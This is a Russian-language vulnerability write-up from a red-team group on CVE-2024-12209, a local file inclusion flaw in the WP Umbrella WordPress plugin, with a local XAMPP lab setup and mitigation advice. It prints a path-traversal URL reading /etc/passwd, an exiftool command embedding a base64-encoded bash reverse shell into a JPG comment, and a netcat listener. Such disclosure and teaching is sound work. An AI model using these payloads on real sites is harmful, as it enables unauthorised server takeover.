Введение

В популярном плагине WordPressWP Umbrella, установленном более чем на 30 000 сайтов, была обнаружена критическая уязвимость. Этот недостаток, получивший идентификатор CVE-2024-12209, может позволить неавторизованным злоумышленникам полностью захватить контроль над уязвимыми сайтами.

Уязвимость имеет оценку в 9.8 баллов по CVSS.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Для чего используется плагин WP Umbrella

WP Umbrella — это плагин для управления WordPress-сайтами, который облегчает мониторинг, управление и обслуживание множества сайтов с одной центральной панели. Этот инструмент особенно полезен для разработчиков, агентств и владельцев бизнеса, которые обслуживают несколько сайтов WordPress.

Подготовка стендового окружения

Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.

Установка WordPress

Заходим на страницу загрузки WordPress и скачиваем последнюю версию:

Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs):

cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/

Также нужно изменить владельца папки wordpress на пользователя веб-сервера (в случае с XAMPP - daemon):

sudo chown -R daemon:daemon /opt/lampp/htdocs

Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress

Разбор уязвимости

LFI (Local File Inclusion) — это уязвимость в веб-приложениях, которая позволяет злоумышленнику включать файлы с локального сервера в контексте работы приложения. Обычно она возникает из-за недостаточной обработки входных данных в функциях, которые динамически подключают файлы, например, в PHP через include, require, include_once или require_once.

LFI в WP Umbrella доступна через параметр filename в функции umbrella-restore.

В статье будет рассмотрено два вектора эксплуатации уязвимости:

  1. Для пользователя с ролью “Участник”, которому не доступна загрузка медиафайлов.

  2. Для пользователя с ролью “Автор”, которому доступна загрузка медиафайлов.

Первый вектор

Для эксплуатации используем уже существующий PoC.

https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

Второй вектор

Подготовим jpg файл, который нужно будет загрузить на сервер. При помощи ExifTool добавим в комментарий Reverse Shell:

exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg

Чтобы загрузить файл, необходимо перейти во вкладку “Медиафайлы” и нажать “Добавить новый медиафайл”.

Когда файл загружен необходимо узнать по какому пути он находится, для этого можно скопировать URL:

От лица атакующего необходимо запустить слушателя:

nc -lvnp 4444

Теперь при помощи LFI можно открыть этот файл:

http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

Получаем connect:

Прочитаем флаг:

Рекомендации по устранению

Для предотвращения подобных атак настоятельно рекомендуется:

  • Немедленно обновлять плагин до исправленной версии.

  • Применять передовые методы безопасности, включая регулярное резервное копирование и использование веб-файерволов.

  • Следить за обновлениями системы и её компонентов.

Заключение

CVE-2024-12209 демонстрирует критическую важность регулярного мониторинга и обновления используемых плагинов для WordPress.

Уязвимость в WP Umbrella, связанная с локальным включением файлов, позволяет атакующим осуществлять удалённое выполнение кода, что приводит к серьёзным последствиям, включая утечку данных и полный контроль над сервером.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

Комментарии (0)